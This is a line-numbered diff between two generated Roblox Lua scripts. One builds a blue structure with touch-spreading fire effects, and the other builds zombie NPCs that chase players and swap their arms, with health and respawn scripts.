Part27.FormFactor = Enum.FormFactor.Symmetric
797-
Part20.CFrame = CFrame.new(165.000977, 37.1942711, 240, 1, -8.4724903e-05, -6.61611557e-06, 8.4724903e-05, 1, -1.43857687e-06, 6.61611557e-06, 1.43800935e-06, 1)
797+
Part27.formFactor = Enum.FormFactor.Symmetric
798-
Part20.Position = Vector3.new(165.000977, 37.1942711, 240)
798+
Part28.Name = "Right Leg"
799-
Part20.Color = Color3.new(0.0509804, 0.411765, 0.67451)
799+
Part28.Parent = Model22
800-
Part20.Size = Vector3.new(20, 21.6000004, 2)
800+
Part28.CFrame = CFrame.new(201.591461, 2.59995508, 222.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
801-
Part20.Anchored = true
801+
Part28.Orientation = Vector3.new(0, 90, 0)
802-
Part20.BrickColor = BrickColor.new("Bright blue")
802+
Part28.Position = Vector3.new(201.591461, 2.59995508, 222.98645)
803-
Part20.TopSurface = Enum.SurfaceType.Smooth
803+
Part28.Rotation = Vector3.new(0, 90, 0)
804-
Part20.brickColor = BrickColor.new("Bright blue")
804+
Part28.Color = Color3.new(0.411765, 0.25098, 0.156863)
805-
Fire21.Parent = Part20
805+
Part28.Size = Vector3.new(1, 2, 1)
806-
Fire21.Color = Color3.new(1, 0.745098, 0)
806+
Part28.BottomSurface = Enum.SurfaceType.Smooth
807-
Fire21.Enabled = false
807+
Part28.BrickColor = BrickColor.new("Reddish brown")
808-
Fire21.Size = 30
808+
Part28.CanCollide = false
809-
Fire21.Heat = 25
809+
Part28.brickColor = BrickColor.new("Reddish brown")
810-
Fire21.SecondaryColor = Color3.new(1, 0, 0)
810+
Part28.FormFactor = Enum.FormFactor.Symmetric
811-
Fire21.size = 30
811+
Part28.formFactor = Enum.FormFactor.Symmetric
812-
Script22.Parent = Fire21
812+
Humanoid29.Parent = Model22
813-
table.insert(cors,sandbox(Script22,function()
813+
Humanoid29.LeftLeg = Part27
814-
function Spread(part)
814+
Humanoid29.NameOcclusion = Enum.NameOcclusion.NoOcclusion
815-
	check = part:findFirstChild("Fire")
815+
Humanoid29.RightLeg = Part28
816-
		if check == nil then 
816+
Humanoid29.Torso = Part26
817-
	script.Parent:Clone().Parent = part
817+
Part30.Name = "zarm"
818-
	
818+
Part30.Parent = Model22
819-
		elseif check ~= nil then
819+
Part30.CFrame = CFrame.new(201.091461, 5.09995508, 224.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
820-
	check.Size = check.Size + 1
820+
Part30.Orientation = Vector3.new(0, 180, 0)
821-
	check.Heat = check.Heat  +1
821+
Part30.Position = Vector3.new(201.091461, 5.09995508, 224.98645)
822
Part30.Rotation = Vector3.new(-180, 0, -180)
823
Part30.Color = Color3.new(0.631373, 0.768628, 0.54902)
824
Part30.Size = Vector3.new(2, 1, 1)
825
Part30.BottomSurface = Enum.SurfaceType.Smooth
826-
script.Parent.Parent.Touched:connect(Spread)
826+
Part30.BrickColor = BrickColor.new("Medium green")
827
Part30.TopSurface = Enum.SurfaceType.Smooth
828
Part30.brickColor = BrickColor.new("Medium green")
829
Part30.FormFactor = Enum.FormFactor.Symmetric
830-
Part23.Parent = Model0
830+
Part30.formFactor = Enum.FormFactor.Symmetric
831-
Part23.CFrame = CFrame.new(165.003906, 41.3754539, 219.999878, 0.999999881, -5.35607251e-06, 1.3589859e-05, 5.35602521e-06, 1, 3.40421866e-06, -1.3589859e-05, -3.40414499e-06, 0.999999881)
831+
Script31.Parent = Part30
832-
Part23.Position = Vector3.new(165.003906, 41.3754539, 219.999878)
832+
833-
Part23.Color = Color3.new(0.0509804, 0.411765, 0.67451)
833+
wait(1)
834-
Part23.Velocity = Vector3.new(-0.00133590505, 0.009737093, 0.00232312502)
834+
owner=script.Parent.Parent.Name
835-
Part23.Size = Vector3.new(20, 13.2000008, 2)
835+
836-
Part23.Anchored = true
836+
function onTouched(part)
837-
Part23.BottomSurface = Enum.SurfaceType.Smooth
837+
	if part.Parent ~= nil then
838-
Part23.BrickColor = BrickColor.new("Bright blue")
838+
		local h = part.Parent:findFirstChild("Humanoid")
839-
Part23.RotVelocity = Vector3.new(0.00438775821, -7.22440276e-08, 0.000837209402)
839+
			if h~=nil then
840
				if cantouch~=0 then
841-
Part23.brickColor = BrickColor.new("Bright blue")
841+
					if h.Parent.Name~=owner then
842-
Fire24.Parent = Part23
842+
						
843-
Fire24.Color = Color3.new(1, 0.745098, 0)
843+
						if h.Parent:findFirstChild("zarm")~=nil then return end
844-
Fire24.Enabled = false
844+
845-
Fire24.Size = 30
845+
						cantouch=0
846-
Fire24.Heat = 25
846+
847-
Fire24.SecondaryColor = Color3.new(1, 0, 0)
847+
						local larm=h.Parent:findFirstChild("Left Arm")
848-
Fire24.size = 30
848+
						local rarm=h.Parent:findFirstChild("Right Arm")
849-
Script25.Parent = Fire24
849+
						
850-
table.insert(cors,sandbox(Script25,function()
850+
						if larm~=nil then
851-
function Spread(part)
851+
							larm:remove()
852-
	check = part:findFirstChild("Fire")
852+
						end
853-
		if check == nil then 
853+
						if rarm~=nil then
854-
	script.Parent:Clone().Parent = part
854+
							rarm:remove()
855-
	
855+
						end
856-
		elseif check ~= nil then
856+
						local zee=script.Parent.Parent:findFirstChild("zarm")
857-
	check.Size = check.Size + 1
857+
						if zee~=nil then
858-
	check.Heat = check.Heat  +1
858+
							local zlarm=zee:clone()
859
							local zrarm=zee:clone()
860
							if zlarm~=nil then
861
862
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
863-
script.Parent.Parent.Touched:connect(Spread)
863+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
864
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
865
								zlarm.Parent=h.Parent
866
								zrarm.Parent=h.Parent
867-
Part26.Parent = Model0
867+
								zlarm:makeJoints()
868-
Part26.CFrame = CFrame.new(163.001953, 35.3743477, 235.499878, -3.51946767e-07, -3.93328219e-06, -1, 4.05099172e-06, 1, -3.93328401e-06, 1, -4.05099354e-06, -3.51930851e-07)
868+
								zrarm:makeJoints()
869-
Part26.Orientation = Vector3.new(0, -90, 0)
869+
								zlarm.Anchored=false
870-
Part26.Position = Vector3.new(163.001953, 35.3743477, 235.499878)
870+
								zrarm.Anchored=false
871-
Part26.Rotation = Vector3.new(0, -90, 0)
871+
								wait(0.1)
872-
Part26.Color = Color3.new(0.388235, 0.372549, 0.384314)
872+
								h.Parent.Head.Color=zee.Color
873-
Part26.Size = Vector3.new(7, 1.20000005, 12)
873+
							else print("no zee"); return end
874-
Part26.Anchored = true
874+
						end
875-
Part26.BottomSurface = Enum.SurfaceType.Smooth
875+
						wait(1)
876-
Part26.BrickColor = BrickColor.new("Dark stone grey")
876+
						cantouch=1
877-
Part26.TopSurface = Enum.SurfaceType.Smooth
877+
					end
878-
Part26.brickColor = BrickColor.new("Dark stone grey")
878+
				end
879-
Fire27.Parent = Part26
879+
880-
Fire27.Color = Color3.new(1, 0.745098, 0)
880+
881-
Fire27.Enabled = false
881+
882-
Fire27.Size = 30
882+
883-
Fire27.Heat = 25
883+
884-
Fire27.SecondaryColor = Color3.new(1, 0, 0)
884+
885-
Fire27.size = 30
885+
Part32.Name = "zarm"
886-
Script28.Parent = Fire27
886+
Part32.Parent = Model22
887-
table.insert(cors,sandbox(Script28,function()
887+
Part32.CFrame = CFrame.new(201.091461, 5.09995508, 221.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
888-
function Spread(part)
888+
Part32.Orientation = Vector3.new(0, 180, 0)
889-
	check = part:findFirstChild("Fire")
889+
Part32.Position = Vector3.new(201.091461, 5.09995508, 221.98645)
890-
		if check == nil then 
890+
Part32.Rotation = Vector3.new(-180, 0, -180)
891-
	script.Parent:Clone().Parent = part
891+
Part32.Color = Color3.new(0.631373, 0.768628, 0.54902)
892-
	
892+
Part32.Size = Vector3.new(2, 1, 1)
893-
		elseif check ~= nil then
893+
Part32.BottomSurface = Enum.SurfaceType.Smooth
894-
	check.Size = check.Size + 1
894+
Part32.BrickColor = BrickColor.new("Medium green")
895-
	check.Heat = check.Heat  +1
895+
Part32.TopSurface = Enum.SurfaceType.Smooth
896
Part32.brickColor = BrickColor.new("Medium green")
897
Part32.FormFactor = Enum.FormFactor.Symmetric
898
Part32.formFactor = Enum.FormFactor.Symmetric
899
Script33.Parent = Part32
900-
script.Parent.Parent.Touched:connect(Spread)
900+
table.insert(cors,sandbox(Script33,function()
901
wait(1)
902
owner=script.Parent.Parent.Name
903
904-
Part29.Parent = Model0
904+
function onTouched(part)
905-
Part29.CFrame = CFrame.new(155.96875, 32.3865547, 229.990112, 0.00413897727, 5.98413408e-07, -0.999991417, 1.1924586e-05, 1, 6.47774527e-07, 0.999991417, -1.19271654e-05, 0.00413897727)
905+
	if part.Parent ~= nil then
906-
Part29.Orientation = Vector3.new(0, -89.7599945, 0)
906+
		local h = part.Parent:findFirstChild("Humanoid")
907-
Part29.Position = Vector3.new(155.96875, 32.3865547, 229.990112)
907+
			if h~=nil then
908-
Part29.Rotation = Vector3.new(-0.00999999978, -89.7599945, -0.00999999978)
908+
				if cantouch~=0 then
909-
Part29.Color = Color3.new(0.0509804, 0.411765, 0.67451)
909+
					if h.Parent.Name~=owner then
910-
Part29.Velocity = Vector3.new(0.000474236498, 0.0086496938, -0.00330197508)
910+
						
911-
Part29.Size = Vector3.new(18, 12, 2)
911+
						if h.Parent:findFirstChild("zarm")~=nil then return end
912-
Part29.Anchored = true
912+
913-
Part29.BrickColor = BrickColor.new("Bright blue")
913+
						cantouch=0
914-
Part29.RotVelocity = Vector3.new(-3.58416801e-05, -0.000146768041, 1.32331843e-05)
914+
915-
Part29.TopSurface = Enum.SurfaceType.Smooth
915+
						local larm=h.Parent:findFirstChild("Left Arm")
916-
Part29.brickColor = BrickColor.new("Bright blue")
916+
						local rarm=h.Parent:findFirstChild("Right Arm")
917-
Fire30.Parent = Part29
917+
						
918-
Fire30.Color = Color3.new(1, 0.745098, 0)
918+
						if larm~=nil then
919-
Fire30.Enabled = false
919+
							larm:remove()
920-
Fire30.Size = 30
920+
						end
921-
Fire30.Heat = 25
921+
						if rarm~=nil then
922-
Fire30.SecondaryColor = Color3.new(1, 0, 0)
922+
							rarm:remove()
923-
Fire30.size = 30
923+
						end
924-
Script31.Parent = Fire30
924+
						local zee=script.Parent.Parent:findFirstChild("zarm")
925
						if zee~=nil then
926-
function Spread(part)
926+
							local zlarm=zee:clone()
927-
	check = part:findFirstChild("Fire")
927+
							local zrarm=zee:clone()
928-
		if check == nil then 
928+
							if zlarm~=nil then
929-
	script.Parent:Clone().Parent = part
929+
930-
	
930+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
931-
		elseif check ~= nil then
931+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
932-
	check.Size = check.Size + 1
932+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
933-
	check.Heat = check.Heat  +1
933+
								zlarm.Parent=h.Parent
934
								zrarm.Parent=h.Parent
935
								zlarm:makeJoints()
936
								zrarm:makeJoints()
937
								zlarm.Anchored=false
938-
script.Parent.Parent.Touched:connect(Spread)
938+
								zrarm.Anchored=false
939
								wait(0.1)
940
								h.Parent.Head.Color=zee.Color
941
							else print("no zee"); return end
942-
TrussPart32.Parent = Model0
942+
						end
943-
TrussPart32.CFrame = CFrame.new(172.001953, 36.4048958, 233, 1, 0, 0, 0, 1, 0, 0, 0, 1)
943+
						wait(1)
944-
TrussPart32.Position = Vector3.new(172.001953, 36.4048958, 233)
944+
						cantouch=1
945-
TrussPart32.Color = Color3.new(0.972549, 0.972549, 0.972549)
945+
					end
946-
TrussPart32.Size = Vector3.new(2, 20, 2)
946+
				end
947-
TrussPart32.Anchored = true
947+
948-
TrussPart32.BrickColor = BrickColor.new("Institutional white")
948+
949-
TrussPart32.Reflectance = 0.80000001192093
949+
950-
TrussPart32.brickColor = BrickColor.new("Institutional white")
950+
951-
Fire33.Parent = TrussPart32
951+
952-
Fire33.Color = Color3.new(1, 0.745098, 0)
952+
953-
Fire33.Enabled = false
953+
ObjectValue34.Name = "IsNZ"
954-
Fire33.Size = 30
954+
ObjectValue34.Parent = Model22
955-
Fire33.Heat = 25
955+
IntValue35.Name = "Mode"
956-
Fire33.SecondaryColor = Color3.new(1, 0, 0)
956+
IntValue35.Parent = Model22
957-
Fire33.size = 30
957+
Script36.Parent = Model22
958-
Script34.Parent = Fire33
958+
table.insert(cors,sandbox(Script36,function()
959-
table.insert(cors,sandbox(Script34,function()
959+
local larm = script.Parent:FindFirstChild("Left Arm")
960-
function Spread(part)
960+
local rarm = script.Parent:FindFirstChild("Right Arm")
961-
	check = part:findFirstChild("Fire")
961+
962-
		if check == nil then 
962+
function findNearestTorso(pos)
963-
	script.Parent:Clone().Parent = part
963+
	local list = game.Workspace:children()
964-
	
964+
	local torso = nil
965-
		elseif check ~= nil then
965+
	local dist = 1000
966-
	check.Size = check.Size + 1
966+
	local temp = nil
967-
	check.Heat = check.Heat  +1
967+
	local human = nil
968
	local temp2 = nil
969
	for x = 1, #list do
970
		temp2 = list[x]
971
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
972-
script.Parent.Parent.Touched:connect(Spread)
972+
			temp = temp2:findFirstChild("Right Arm")
973
			human = temp2:findFirstChild("Humanoid")
974
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
975
				if (temp.Position - pos).magnitude < dist then
976-
TrussPart35.Parent = Model0
976+
					torso = temp
977-
TrussPart35.CFrame = CFrame.new(170.003418, 36.3945923, 232.999634, 1, -8.51601362e-05, -6.71629323e-06, 8.51601362e-05, 0.99999994, -1.43999137e-06, 6.63666196e-06, 1.43800639e-06, 1)
977+
					dist = (temp.Position - pos).magnitude
978-
TrussPart35.Position = Vector3.new(170.003418, 36.3945923, 232.999634)
978+
				end
979-
TrussPart35.Color = Color3.new(0.972549, 0.972549, 0.972549)
979+
980-
TrussPart35.Size = Vector3.new(2, 20, 2)
980+
981-
TrussPart35.Anchored = true
981+
982-
TrussPart35.BrickColor = BrickColor.new("Institutional white")
982+
	return torso
983-
TrussPart35.Reflectance = 0.80000001192093
983+
984-
TrussPart35.brickColor = BrickColor.new("Institutional white")
984+
985-
Fire36.Parent = TrussPart35
985+
986-
Fire36.Color = Color3.new(1, 0.745098, 0)
986+
987-
Fire36.Enabled = false
987+
988-
Fire36.Size = 30
988+
989-
Fire36.Heat = 25
989+
	wait(math.random(1,5))
990-
Fire36.SecondaryColor = Color3.new(1, 0, 0)
990+
	local target = findNearestTorso(script.Parent.Torso.Position)
991-
Fire36.size = 30
991+
	if target ~= nil then
992-
Script37.Parent = Fire36
992+
		script.Parent.Humanoid:MoveTo(target.Position, target)
993
	end
994-
function Spread(part)
994+
995-
	check = part:findFirstChild("Fire")
995+
996-
		if check == nil then 
996+
997-
	script.Parent:Clone().Parent = part
997+
998-
	
998+
Script37.Name = "Health"
999-
		elseif check ~= nil then
999+
Script37.Parent = Model22
1000-
	check.Size = check.Size + 1
1000+
1001-
	check.Heat = check.Heat  +1
1001+
function waitForChild(parent, childName)
1002
	while true do
1003
		local child = parent:findFirstChild(childName)
1004
		if child then
1005
			return child
1006-
script.Parent.Parent.Touched:connect(Spread)
1006+
1007
		parent.ChildAdded:wait()
1008
	end
1009
end
1010-
Part38.Parent = Model0
1010+
1011-
Part38.CFrame = CFrame.new(174.002441, 37.204895, 230.000122, -0.000107914209, -3.41983127e-06, -0.999999881, -6.44382681e-09, 1, -3.41983082e-06, 0.999999881, 6.0746288e-09, -0.000107914209)
1011+
-- declarations
1012-
Part38.Orientation = Vector3.new(0, -90.0099945, 0)
1012+
1013-
Part38.Position = Vector3.new(174.002441, 37.204895, 230.000122)
1013+
local Figure = script.Parent
1014-
Part38.Rotation = Vector3.new(178.179993, -89.9700012, 178.179993)
1014+
local Head = waitForChild(Figure, "Head")
1015-
Part38.Color = Color3.new(0.0509804, 0.411765, 0.67451)
1015+
local Humanoid = waitForChild(Figure, "Humanoid")
1016-
Part38.Size = Vector3.new(18, 21.6000004, 2)
1016+
Humanoid.Health=500
1017-
Part38.Anchored = true
1017+
-- regeneration
1018-
Part38.BrickColor = BrickColor.new("Bright blue")
1018+
1019-
Part38.TopSurface = Enum.SurfaceType.Smooth
1019+
	local s = wait(4)
1020-
Part38.brickColor = BrickColor.new("Bright blue")
1020+
	local health = Humanoid.Health
1021-
Fire39.Parent = Part38
1021+
	if health > 0 and health < Humanoid.MaxHealth then
1022-
Fire39.Color = Color3.new(1, 0.745098, 0)
1022+
		health = health + 0.08 * s * Humanoid.MaxHealth
1023-
Fire39.Enabled = false
1023+
		if health * 1.05 < Humanoid.MaxHealth then
1024-
Fire39.Size = 30
1024+
			Humanoid.Health = health
1025-
Fire39.Heat = 25
1025+
		else
1026-
Fire39.SecondaryColor = Color3.new(1, 0, 0)
1026+
			Humanoid.Health = Humanoid.MaxHealth
1027-
Fire39.size = 30
1027+
1028-
Script40.Parent = Fire39
1028+
1029-
table.insert(cors,sandbox(Script40,function()
1029+
1030-
function Spread(part)
1030+
1031-
	check = part:findFirstChild("Fire")
1031+
1032-
		if check == nil then 
1032+
Script38.Name = "Respawn"
1033-
	script.Parent:Clone().Parent = part
1033+
Script38.Parent = Model22
1034-
	
1034+
table.insert(cors,sandbox(Script38,function()
1035-
		elseif check ~= nil then
1035+
name="Humanoid"
1036-
	check.Size = check.Size + 1
1036+
1037-
	check.Heat = check.Heat  +1
1037+
robo=script.Parent:clone()
1038
1039
while true do
1040
	wait(1)
1041
	if script.Parent.Humanoid.Health<1 then
1042-
script.Parent.Parent.Touched:connect(Spread)
1042+
		robot=robo:clone()
1043
		robot.Parent=script.Parent.Parent
1044
		robot:makeJoints()
1045
		script.Parent:remove()
1046-
Part41.Parent = Model0
1046+
1047-
Part41.CFrame = CFrame.new(165.001953, 35.3844299, 226.5, -1.53540332e-05, -4.21100685e-06, -1, 3.70577231e-06, 1, -4.21106415e-06, 1, -3.70583689e-06, -1.53540186e-05)
1047+
1048-
Part41.Orientation = Vector3.new(0, -90, 0)
1048+
1049-
Part41.Position = Vector3.new(165.001953, 35.3844299, 226.5)
1049+
1050-
Part41.Rotation = Vector3.new(0, -90, 0)
1050+
1051-
Part41.Color = Color3.new(0.388235, 0.372549, 0.384314)
1051+
1052-
Part41.Size = Vector3.new(11, 1.20000005, 16)
1052+
1053-
Part41.Anchored = true
1053+
Part39.Name = "Spawn Location"
1054-
Part41.BottomSurface = Enum.SurfaceType.Smooth
1054+
Part39.Parent = Model21
1055-
Part41.BrickColor = BrickColor.new("Dark stone grey")
1055+
Part39.CFrame = CFrame.new(201.091461, 0.600009978, 223.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
1056-
Part41.TopSurface = Enum.SurfaceType.Smooth
1056+
Part39.Orientation = Vector3.new(0, 180, 0)
1057-
Part41.brickColor = BrickColor.new("Dark stone grey")
1057+
Part39.Position = Vector3.new(201.091461, 0.600009978, 223.48645)
1058-
Fire42.Parent = Part41
1058+
Part39.Rotation = Vector3.new(-180, 0, -180)
1059-
Fire42.Color = Color3.new(1, 0.745098, 0)
1059+
Part39.Color = Color3.new(0.631373, 0.768628, 0.54902)
1060-
Fire42.Enabled = false
1060+
Part39.Size = Vector3.new(6, 1.20000005, 6)
1061-
Fire42.Size = 30
1061+
Part39.BottomSurface = Enum.SurfaceType.Weld
1062-
Fire42.Heat = 25
1062+
Part39.BrickColor = BrickColor.new("Medium green")
1063-
Fire42.SecondaryColor = Color3.new(1, 0, 0)
1063+
Part39.TopSurface = Enum.SurfaceType.Smooth
1064-
Fire42.size = 30
1064+
Part39.brickColor = BrickColor.new("Medium green")
1065-
Script43.Parent = Fire42
1065+
Decal40.Parent = Part39
1066-
table.insert(cors,sandbox(Script43,function()
1066+
Decal40.Texture = "http://www.roblox.com/asset/?id=34541722"
1067-
function Spread(part)
1067+
Decal40.Face = Enum.NormalId.Top
1068-
	check = part:findFirstChild("Fire")
1068+
Model41.Parent = Model0
1069-
		if check == nil then 
1069+
Model42.Name = "Zombie"
1070-
	script.Parent:Clone().Parent = part
1070+
Model42.Parent = Model41
1071-
	
1071+
Model42.PrimaryPart = Part43
1072-
		elseif check ~= nil then
1072+
Part43.Name = "Head"
1073-
	check.Size = check.Size + 1
1073+
Part43.Parent = Model42
1074-
	check.Heat = check.Heat  +1
1074+
Part43.CFrame = CFrame.new(201.591461, 6.09995508, 247.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1075
Part43.Orientation = Vector3.new(0, 90, 0)
1076
Part43.Position = Vector3.new(201.591461, 6.09995508, 247.48645)
1077
Part43.Rotation = Vector3.new(0, 90, 0)
1078
Part43.Color = Color3.new(0.631373, 0.768628, 0.54902)
1079-
script.Parent.Parent.Touched:connect(Spread)
1079+
Part43.Size = Vector3.new(2, 1, 1)
1080
Part43.BrickColor = BrickColor.new("Medium green")
1081
Part43.TopSurface = Enum.SurfaceType.Smooth
1082
Part43.brickColor = BrickColor.new("Medium green")
1083-
Part44.Parent = Model0
1083+
Part43.FormFactor = Enum.FormFactor.Symmetric
1084-
Part44.CFrame = CFrame.new(158.503906, 30.590416, 219.999878, 1, 0, 0, 0, 1, 0, 0, 0, 1)
1084+
Part43.formFactor = Enum.FormFactor.Symmetric
1085-
Part44.Position = Vector3.new(158.503906, 30.590416, 219.999878)
1085+
SpecialMesh44.Parent = Part43
1086-
Part44.Color = Color3.new(0.0509804, 0.411765, 0.67451)
1086+
SpecialMesh44.Scale = Vector3.new(1.25, 1.25, 1.25)
1087-
Part44.Size = Vector3.new(7, 8.40000057, 2)
1087+
Decal45.Name = "face"
1088-
Part44.Anchored = true
1088+
Decal45.Parent = Part43
1089-
Part44.BrickColor = BrickColor.new("Bright blue")
1089+
Part46.Name = "Torso"
1090-
Part44.brickColor = BrickColor.new("Bright blue")
1090+
Part46.Parent = Model42
1091-
Fire45.Parent = Part44
1091+
Part46.CFrame = CFrame.new(201.591461, 4.59995508, 247.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
1092-
Fire45.Color = Color3.new(1, 0.745098, 0)
1092+
Part46.Orientation = Vector3.new(0, 90, 0)
1093-
Fire45.Enabled = false
1093+
Part46.Position = Vector3.new(201.591461, 4.59995508, 247.48645)
1094-
Fire45.Size = 30
1094+
Part46.Rotation = Vector3.new(0, 90, 0)
1095-
Fire45.Heat = 25
1095+
Part46.Color = Color3.new(0.411765, 0.25098, 0.156863)
1096-
Fire45.SecondaryColor = Color3.new(1, 0, 0)
1096+
Part46.Size = Vector3.new(2, 2, 1)
1097-
Fire45.size = 30
1097+
Part46.BrickColor = BrickColor.new("Reddish brown")
1098-
Script46.Parent = Fire45
1098+
Part46.LeftParamA = 0
1099-
table.insert(cors,sandbox(Script46,function()
1099+
Part46.LeftParamB = 0
1100-
function Spread(part)
1100+
Part46.LeftSurface = Enum.SurfaceType.Weld
1101-
	check = part:findFirstChild("Fire")
1101+
Part46.RightParamA = 0
1102-
		if check == nil then 
1102+
Part46.RightParamB = 0
1103-
	script.Parent:Clone().Parent = part
1103+
Part46.RightSurface = Enum.SurfaceType.Weld
1104-
	
1104+
Part46.brickColor = BrickColor.new("Reddish brown")
1105-
		elseif check ~= nil then
1105+
Part46.FormFactor = Enum.FormFactor.Symmetric
1106-
	check.Size = check.Size + 1
1106+
Part46.formFactor = Enum.FormFactor.Symmetric
1107-
	check.Heat = check.Heat  +1
1107+
Part47.Name = "Left Leg"
1108
Part47.Parent = Model42
1109
Part47.CFrame = CFrame.new(201.591461, 2.59995508, 247.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1110
Part47.Orientation = Vector3.new(0, 90, 0)
1111
Part47.Position = Vector3.new(201.591461, 2.59995508, 247.98645)
1112-
script.Parent.Parent.Touched:connect(Spread)
1112+
Part47.Rotation = Vector3.new(0, 90, 0)
1113
Part47.Color = Color3.new(0.411765, 0.25098, 0.156863)
1114
Part47.Size = Vector3.new(1, 2, 1)
1115
Part47.BottomSurface = Enum.SurfaceType.Smooth
1116-
Part47.Parent = Model0
1116+
Part47.BrickColor = BrickColor.new("Reddish brown")
1117-
Part47.CFrame = CFrame.new(166.00415, 25.1995621, 235.499146, -0.000107973632, -3.41931718e-06, -1, 4.76531568e-06, 1, -3.41983196e-06, 1, -4.76568493e-06, -0.000107973618)
1117+
Part47.CanCollide = false
1118-
Part47.Orientation = Vector3.new(0, -90.0099945, 0)
1118+
Part47.brickColor = BrickColor.new("Reddish brown")
1119-
Part47.Position = Vector3.new(166.00415, 25.1995621, 235.499146)
1119+
Part47.FormFactor = Enum.FormFactor.Symmetric
1120-
Part47.Rotation = Vector3.new(0, -90, 0)
1120+
Part47.formFactor = Enum.FormFactor.Symmetric
1121-
Part47.Color = Color3.new(0.388235, 0.372549, 0.384314)
1121+
Part48.Name = "Right Leg"
1122-
Part47.Size = Vector3.new(7, 2.4000001, 18)
1122+
Part48.Parent = Model42
1123-
Part47.Anchored = true
1123+
Part48.CFrame = CFrame.new(201.591461, 2.59995508, 246.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
1124
Part48.Orientation = Vector3.new(0, 90, 0)
1125-
Part47.BrickColor = BrickColor.new("Dark stone grey")
1125+
Part48.Position = Vector3.new(201.591461, 2.59995508, 246.98645)
1126-
Part47.TopSurface = Enum.SurfaceType.Smooth
1126+
Part48.Rotation = Vector3.new(0, 90, 0)
1127-
Part47.brickColor = BrickColor.new("Dark stone grey")
1127+
Part48.Color = Color3.new(0.411765, 0.25098, 0.156863)
1128-
Fire48.Parent = Part47
1128+
Part48.Size = Vector3.new(1, 2, 1)
1129-
Fire48.Color = Color3.new(1, 0.745098, 0)
1129+
Part48.BottomSurface = Enum.SurfaceType.Smooth
1130-
Fire48.Enabled = false
1130+
Part48.BrickColor = BrickColor.new("Reddish brown")
1131-
Fire48.Size = 30
1131+
Part48.CanCollide = false
1132-
Fire48.Heat = 25
1132+
Part48.brickColor = BrickColor.new("Reddish brown")
1133-
Fire48.SecondaryColor = Color3.new(1, 0, 0)
1133+
Part48.FormFactor = Enum.FormFactor.Symmetric
1134-
Fire48.size = 30
1134+
Part48.formFactor = Enum.FormFactor.Symmetric
1135-
Script49.Parent = Fire48
1135+
Humanoid49.Parent = Model42
1136-
table.insert(cors,sandbox(Script49,function()
1136+
Humanoid49.LeftLeg = Part47
1137-
function Spread(part)
1137+
Humanoid49.NameOcclusion = Enum.NameOcclusion.NoOcclusion
1138-
	check = part:findFirstChild("Fire")
1138+
Humanoid49.RightLeg = Part48
1139-
		if check == nil then 
1139+
Humanoid49.Torso = Part46
1140-
	script.Parent:Clone().Parent = part
1140+
Part50.Name = "zarm"
1141-
	
1141+
Part50.Parent = Model42
1142-
		elseif check ~= nil then
1142+
Part50.CFrame = CFrame.new(201.091461, 5.09995508, 248.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
1143-
	check.Size = check.Size + 1
1143+
Part50.Orientation = Vector3.new(0, 180, 0)
1144-
	check.Heat = check.Heat  +1
1144+
Part50.Position = Vector3.new(201.091461, 5.09995508, 248.98645)
1145
Part50.Rotation = Vector3.new(-180, 0, -180)
1146
Part50.Color = Color3.new(0.631373, 0.768628, 0.54902)
1147
Part50.Size = Vector3.new(2, 1, 1)
1148
Part50.BottomSurface = Enum.SurfaceType.Smooth
1149-
script.Parent.Parent.Touched:connect(Spread)
1149+
Part50.BrickColor = BrickColor.new("Medium green")
1150
Part50.TopSurface = Enum.SurfaceType.Smooth
1151
Part50.brickColor = BrickColor.new("Medium green")
1152
Part50.FormFactor = Enum.FormFactor.Symmetric
1153-
Part50.Parent = Model0
1153+
Part50.formFactor = Enum.FormFactor.Symmetric
1154-
Part50.CFrame = CFrame.new(171.503906, 30.5805054, 219.999878, 0.999999881, -3.74829028e-06, 1.68085098e-05, 3.74824549e-06, 1, 2.6473283e-06, -1.68085098e-05, -2.64726486e-06, 0.999999881)
1154+
Script51.Parent = Part50
1155-
Part50.Position = Vector3.new(171.503906, 30.5805054, 219.999878)
1155+
table.insert(cors,sandbox(Script51,function()
1156-
Part50.Color = Color3.new(0.0509804, 0.411765, 0.67451)
1156+
wait(1)
1157-
Part50.Size = Vector3.new(7, 8.40000057, 2)
1157+
owner=script.Parent.Parent.Name
1158-
Part50.Anchored = true
1158+
1159-
Part50.BrickColor = BrickColor.new("Bright blue")
1159+
function onTouched(part)
1160-
Part50.brickColor = BrickColor.new("Bright blue")
1160+
	if part.Parent ~= nil then
1161-
Fire51.Parent = Part50
1161+
		local h = part.Parent:findFirstChild("Humanoid")
1162-
Fire51.Color = Color3.new(1, 0.745098, 0)
1162+
			if h~=nil then
1163-
Fire51.Enabled = false
1163+
				if cantouch~=0 then
1164-
Fire51.Size = 30
1164+
					if h.Parent.Name~=owner then
1165-
Fire51.Heat = 25
1165+
						
1166-
Fire51.SecondaryColor = Color3.new(1, 0, 0)
1166+
						if h.Parent:findFirstChild("zarm")~=nil then return end
1167-
Fire51.size = 30
1167+
1168-
Script52.Parent = Fire51
1168+
						cantouch=0
1169-
table.insert(cors,sandbox(Script52,function()
1169+
1170-
function Spread(part)
1170+
						local larm=h.Parent:findFirstChild("Left Arm")
1171-
	check = part:findFirstChild("Fire")
1171+
						local rarm=h.Parent:findFirstChild("Right Arm")
1172-
		if check == nil then 
1172+
						
1173-
